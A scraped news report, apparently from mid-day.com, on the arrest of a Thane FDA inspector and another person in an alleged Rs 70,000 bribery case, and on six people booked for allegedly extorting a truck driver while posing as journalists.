<p>The officials on Tuesday said that the <a href="https://www.mid-day.com/mumbai/mumbai-crime-news/article/maharashtra-six-booked-for-bid-to-extort-rs-15-lakh-from-thane-truck-driver-23361372" target="_blank" rel="none noopener">Anti-Corruption Bureau</a> has arrested a 42-year-old Thane FDA inspector and another person for allegedly seeking a bribe of Rs 70,000 from a man who wanted to start a medical shop in Maharashtra's Thane district, reported news agency PTI.</p>
<p>The man had applied for a license with the <a href="https://www.mid-day.com/mumbai/mumbai-crime-news/article/maharashtra-anti-graft-bureau-books-thane-deputy-municipal-commissioner-for-forgery-23361207" target="_blank" rel="none noopener">Food and Drug Administration</a> (FDA) to open a medical shop.</p>
<p>A drugs inspector with the FDA allegedly demanded Rs 1 lakh from him, besides the license fee. Later, the demand was brought down to Rs 70,000, Navi Mumbai ACB police inspector Santosh Patil said in a release, reported PTI.</p>
<p>The man <a href="https://www.mid-day.com/mumbai/mumbai-crime-news/article/thane-woman-booked-for-forging-police-permission-documents-for-serial-shooting-23361109" target="_blank" rel="none noopener">lodged a complaint</a> with the ACB which laid a trap on Monday night near a grocery store in Kalyan town and caught a 50-year-old person accepting Rs 70,000 from the complainant, he said, reported PTI.</p>
<p>The ACB officials later also caught the Thane FDA inspector who was with him, he said.</p>
<p>An FIR was registered against the two accused at the MFC police station in Kalyan under provisions of the Prevention of Corruption Act, the ACB said, reported PTI.</p>
<p>In another case, police have registered a case against six persons who allegedly posed as journalists and demanded Rs 15 lakh from a truck driver for allowing his iron rods-laden vehicle to pass from Thane in Maharashtra, an official said on Sunday, reported PTI.</p>
<p>The incident took place on Friday morning when the truck was proceeding from Panvel in Navi Mumbai through the Nhava Sheva road towards Jaipur in Rajasthan, reported PTI.</p>
<p>The accused waylaid the truck below a bridge at Rajnoli Naka in Bhiwandi area here at around 5 am, the official from Kongaon police station said, reported PTI.</p>
<p>They identified themselves as journalists and made a demand of Rs 15 lakh from the driver for allowing the truck to proceed further, he said.</p>
<p>The truck driver later approached the police with a complaint, based on which an FIR was registered against six persons, including two unidentified, under relevant provisions of the Bharatiya Nyaya Sanhita, the official said, reported PTI.</p>
<p>A probe was on into the case, the police said.</p>
<p><strong>(With inputs from PTI)</strong></p><p>
    <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
    <div id="container-7445444aea29efc3d061cbd866026c06"></div>
    </p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

The Anti-Corruption Bureau has arrested a 42-year-old Thane FDA inspector and another person for allegedly seeking a bribe of Rs 70,000 from a man

Maharashtra: Thane FDA inspector among 2 held for bribery

Mumbai hit and run case: Absconding accused Mihir Shah arrested by Worli Police

The man had applied for a license with the Food and Drug Administration (FDA) to open a medical shop

Maharashtra: Thane FDA inspector among 2 held for bribery

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Mumbai / Mumbai Crime News / Article / Maharashtra: Thane FDA inspector among 2 held for bribery

Maharashtra: Thane FDA inspector among 2 held for bribery

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast